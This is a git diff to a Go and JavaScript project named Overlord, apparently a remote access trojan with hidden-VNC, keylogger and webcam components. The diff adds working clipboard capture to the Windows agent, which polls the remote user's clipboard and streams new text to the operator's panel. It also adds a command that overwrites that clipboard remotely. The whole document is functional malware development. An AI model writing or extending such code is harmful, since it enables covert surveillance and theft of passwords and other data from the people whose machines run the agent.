diff --git a/Overlord-Client/cmd/agent/handlers/clipboard_sync_stub.go b/Overlord-Client/cmd/agent/handlers/clipboard_sync_stub.go
new file mode 100644
index 0000000..008d2c1
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/clipboard_sync_stub.go
@@ -0,0 +1,12 @@
+//go:build !windows
+
+package handlers
+
+import (
+ "context"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+func ClipboardSyncStart(_ context.Context, _ *runtime.Env, _ string) {}
+func ClipboardSyncSet(_ string) {}
diff --git a/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go b/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go
new file mode 100644
index 0000000..66a3d51
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go
@@ -0,0 +1,143 @@
+//go:build windows
+
+package handlers
+
+import (
+ "context"
+ "log"
+ "time"
+ "unsafe"
+
+ "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "golang.org/x/sys/windows"
+)
+
+var (
+ cbUser32 = windows.NewLazySystemDLL("user32.dll")
+ cbKernel32 = windows.NewLazySystemDLL("kernel32.dll")
+ procOpenClipboardCB = cbUser32.NewProc("OpenClipboard")
+ procCloseClipboardCB = cbUser32.NewProc("CloseClipboard")
+ procGetClipboardCB = cbUser32.NewProc("GetClipboardData")
+ procEmptyClipboard = cbUser32.NewProc("EmptyClipboard")
+ procSetClipboardData = cbUser32.NewProc("SetClipboardData")
+ procGlobalAllocCB = cbKernel32.NewProc("GlobalAlloc")
+ procGlobalLockCB = cbKernel32.NewProc("GlobalLock")
+ procGlobalUnlockCB = cbKernel32.NewProc("GlobalUnlock")
+ procRtlMoveMemory = cbKernel32.NewProc("RtlMoveMemory")
+)
+
+const (
+ cbCFUnicodeText = 13
+ cbGMEMMoveable = 0x0002
+)
+
+func clipboardSyncRead() string {
+ r, _, _ := procOpenClipboardCB.Call(0)
+ if r == 0 {
+ return ""
+ }
+ defer procCloseClipboardCB.Call()
+ h, _, _ := procGetClipboardCB.Call(cbCFUnicodeText)
+ if h == 0 {
+ return ""
+ }
+ ptr, _, _ := procGlobalLockCB.Call(h)
+ if ptr == 0 {
+ return ""
+ }
+ defer procGlobalUnlockCB.Call(h)
+ n := 0
+ for {
+ v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
+ if v == 0 {
+ break
+ }
+ n++
+ if n > 1<<20 {
+ break
+ }
+ }
+ u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
+ return windows.UTF16ToString(u16)
+}
+
+func clipboardSyncWrite(text string) error {
+ r, _, _ := procOpenClipboardCB.Call(0)
+ if r == 0 {
+ return windows.ERROR_ACCESS_DENIED
+ }
+ defer procCloseClipboardCB.Call()
+
+ procEmptyClipboard.Call()
+
+ utf16, err := windows.UTF16FromString(text)
+ if err != nil {
+ return err
+ }
+ size := len(utf16) * 2
+
+ hMem, _, _ := procGlobalAllocCB.Call(cbGMEMMoveable, uintptr(size))
+ if hMem == 0 {
+ return windows.ERROR_NOT_ENOUGH_MEMORY
+ }
+
+ ptr, _, _ := procGlobalLockCB.Call(hMem)
+ if ptr == 0 {
+ return windows.ERROR_LOCK_FAILED
+ }
+
+ procRtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&utf16[0])), uintptr(size))
+ procGlobalUnlockCB.Call(hMem)
+
+ r, _, _ = procSetClipboardData.Call(cbCFUnicodeText, hMem)
+ if r == 0 {
+ return windows.ERROR_ACCESS_DENIED
+ }
+ return nil
+}
+
+func ClipboardSyncStart(ctx context.Context, env *runtime.Env, source string) {
+ log.Printf("clipboard_sync: starting (%s)", source)
+ defer log.Printf("clipboard_sync: stopped (%s)", source)
+
+ ticker := time.NewTicker(1500 * time.Millisecond)
+ defer ticker.Stop()
+
+ var lastContent string
+
+ for {
+ select {
+ case <-ctx.Done():
+ return
+ case <-ticker.C:
+ content := clipboardSyncRead()
+ if content == "" || content == lastContent {
+ continue
+ }
+ lastContent = content
+ text := content
+ if len(text) > 64*1024 {
+ text = text[:64*1024]
+ }
+ msg := wire.ClipboardContent{
+ Type: "clipboard_content",
+ Text: text,
+ Source: source,
+ }
+ if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil {
+ log.Printf("clipboard_sync: send failed: %v", err)
+ }
+ }
+ }
+}
+
+func ClipboardSyncSet(text string) {
+ if len(text) > 64*1024 {
+ text = text[:64*1024]
+ }
+ if err := clipboardSyncWrite(text); err != nil {
+ log.Printf("clipboard_sync: write failed: %v", err)
+ }
+}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 96d2b0d..b8db83b 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -698,6 +698,59 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
+ case "clipboard_sync_start":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ source := "rd"
+ if payload != nil {
+ if v, ok := payload["source"].(string); ok && v != "" {
+ source = v
+ }
+ }
+ env.ClipboardSyncMu.Lock()
+ if env.ClipboardSyncCancel != nil {
+ env.ClipboardSyncCancel()
+ if env.ClipboardSyncDone != nil {
+ <-env.ClipboardSyncDone
+ }
+ }
+ syncCtx, syncCancel := context.WithCancel(ctx)
+ env.ClipboardSyncCancel = syncCancel
+ env.ClipboardSyncSource = source
+ done := make(chan struct{})
+ env.ClipboardSyncDone = done
+ goSafe("clipboard_sync", env.Cancel, func() {
+ ClipboardSyncStart(syncCtx, env, source)
+ close(done)
+ })
+ env.ClipboardSyncMu.Unlock()
+ log.Printf("clipboard_sync: start (%s)", source)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "clipboard_sync_stop":
+ env.ClipboardSyncMu.Lock()
+ if env.ClipboardSyncCancel != nil {
+ env.ClipboardSyncCancel()
+ if env.ClipboardSyncDone != nil {
+ <-env.ClipboardSyncDone
+ }
+ env.ClipboardSyncCancel = nil
+ env.ClipboardSyncDone = nil
+ }
+ env.ClipboardSyncMu.Unlock()
+ log.Printf("clipboard_sync: stop")
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
+ case "clipboard_set":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ text := ""
+ if payload != nil {
+ if v, ok := payload["text"].(string); ok {
+ text = v
+ }
+ }
+ ClipboardSyncSet(text)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
case "desktop_mouse_move":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go
index 8dad3b7..c451813 100644
--- a/Overlord-Client/cmd/agent/runtime/env.go
+++ b/Overlord-Client/cmd/agent/runtime/env.go
@@ -40,6 +40,10 @@ type Env struct {
WebcamCancel context.CancelFunc
WebcamDone chan struct{}
WebcamMu sync.Mutex
+ ClipboardSyncCancel context.CancelFunc
+ ClipboardSyncDone chan struct{}
+ ClipboardSyncMu sync.Mutex
+ ClipboardSyncSource string // "rd" or "hvnc"
// Other fields
Plugins *plugins.Manager
Keylogger *keylogger.Keylogger
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index 74f2b8d..404da2d 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -228,6 +228,12 @@ type HVNCLookupResult struct {
Done bool `msgpack:"done"`
}
+type ClipboardContent struct {
+ Type string `msgpack:"type"`
+ Text string `msgpack:"text"`
+ Source string `msgpack:"source"`
+}
+
type ProxyData struct {
Type string `msgpack:"type"`
ConnectionID string `msgpack:"connectionId"`
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index 92bbd00..2b6d3b6 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -66,6 +66,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const agentFps = document.getElementById("agentFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
+ const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
@@ -92,6 +93,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
let h264ErrorCount = 0;
let h264RetryTimer = null;
+ let clipboardSyncTimer = null;
+ let lastClipboardText = "";
+ let clipboardSyncActive = false;
+
const storedCodecPref = localStorage.getItem(codecPrefKey);
if (storedCodecPref === "0") {
prefersH264 = false;
@@ -179,6 +184,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
updateControls();
+ checkClipboardSync();
}
function updateControls() {
@@ -196,6 +202,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
}
+ function startClipboardSync() {
+ if (clipboardSyncActive) return;
+ clipboardSyncActive = true;
+ lastClipboardText = "";
+ sendCmd("clipboard_sync_start", {});
+ clipboardSyncTimer = setInterval(async () => {
+ if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
+ stopClipboardSync();
+ return;
+ }
+ try {
+ const text = await navigator.clipboard.readText();
+ if (text && text !== lastClipboardText) {
+ lastClipboardText = text;
+ sendCmd("clipboard_sync", { text });
+ }
+ } catch {}
+ }, 1500);
+ }
+
+ function stopClipboardSync() {
+ if (!clipboardSyncActive) return;
+ clipboardSyncActive = false;
+ if (clipboardSyncTimer) {
+ clearInterval(clipboardSyncTimer);
+ clipboardSyncTimer = null;
+ }
+ sendCmd("clipboard_sync_stop", {});
+ }
+
+ function checkClipboardSync() {
+ const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
+ if (shouldSync && !clipboardSyncActive) {
+ startClipboardSync();
+ } else if (!shouldSync && clipboardSyncActive) {
+ stopClipboardSync();
+ }
+ }
+
+ if (clipboardSyncCtrl) {
+ clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
+ }
+
function clearOfflineTimer() {
if (offlineTimer) {
clearTimeout(offlineTimer);
@@ -655,6 +704,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
console.error("hvnc: server error:", msg.error || msg.message);
return;
}
+ if (msg && msg.type === "clipboard_content") {
+ if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
+ lastClipboardText = msg.text;
+ navigator.clipboard.writeText(msg.text).catch(() => {});
+ }
+ return;
+ }
return;
}
@@ -675,6 +731,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
console.error("hvnc: server error:", msg.error || msg.message);
return;
}
+ if (msg && msg.type === "clipboard_content") {
+ if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
+ lastClipboardText = msg.text;
+ navigator.clipboard.writeText(msg.text).catch(() => {});
+ }
+ return;
+ }
}
function onWsOpen() {
diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js
index 8209a65..0155b79 100644
--- a/Overlord-Server/public/assets/remotedesktop.js
+++ b/Overlord-Server/public/assets/remotedesktop.js
@@ -39,6 +39,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const viewerFps = document.getElementById("viewerFps");
const inputLatency = document.getElementById("inputLatency");
const statusEl = document.getElementById("streamStatus");
+ const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
ws.binaryType = "arraybuffer";
let activeClientId = clientId;
@@ -79,6 +80,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const inputBackpressureBytes = 256 * 1024;
let lastMoveSentAt = 0;
+ let clipboardSyncTimer = null;
+ let lastClipboardText = "";
+ let clipboardSyncActive = false;
+
function resetH264RuntimeState() {
h264TimestampUs = 0;
h264LowFpsStreak = 0;
@@ -181,6 +186,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
updateControls();
+ checkClipboardSync();
}
function updateControls() {
@@ -199,6 +205,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
}
+ function startClipboardSync() {
+ if (clipboardSyncActive) return;
+ clipboardSyncActive = true;
+ lastClipboardText = "";
+ sendCmd("clipboard_sync_start", {});
+ clipboardSyncTimer = setInterval(async () => {
+ if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") {
+ stopClipboardSync();
+ return;
+ }
+ try {
+ const text = await navigator.clipboard.readText();
+ if (text && text !== lastClipboardText) {
+ lastClipboardText = text;
+ sendCmd("clipboard_sync", { text });
+ }
+ } catch {}
+ }, 1500);
+ }
+
+ function stopClipboardSync() {
+ if (!clipboardSyncActive) return;
+ clipboardSyncActive = false;
+ if (clipboardSyncTimer) {
+ clearInterval(clipboardSyncTimer);
+ clipboardSyncTimer = null;
+ }
+ sendCmd("clipboard_sync_stop", {});
+ }
+
+ function checkClipboardSync() {
+ const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming";
+ if (shouldSync && !clipboardSyncActive) {
+ startClipboardSync();
+ } else if (!shouldSync && clipboardSyncActive) {
+ stopClipboardSync();
+ }
+ }
+
+ if (clipboardSyncCtrl) {
+ clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
+ }
+
function updateLatency(ms) {
if (ms < 0 || !Number.isFinite(ms)) return;
latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2;
@@ -853,6 +902,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
updateLatency(Number(msg.ms) || 0);
return;
}
+ if (msg && msg.type === "clipboard_content") {
+ if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
+ lastClipboardText = msg.text;
+ navigator.clipboard.writeText(msg.text).catch(() => {});
+ }
+ return;
+ }
return;
}
@@ -865,6 +921,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
updateLatency(Number(msg.ms) || 0);
return;
}
+ if (msg && msg.type === "clipboard_content") {
+ if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) {
+ lastClipboardText = msg.text;
+ navigator.clipboard.writeText(msg.text).catch(() => {});
+ }
+ return;
+ }
});
ws.addEventListener("open", function () {
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index eee9904..a78bd5a 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -130,6 +130,9 @@
+
diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html
index efaa164..e9e51e2 100644
--- a/Overlord-Server/public/remotedesktop.html
+++ b/Overlord-Server/public/remotedesktop.html
@@ -136,6 +136,9 @@
+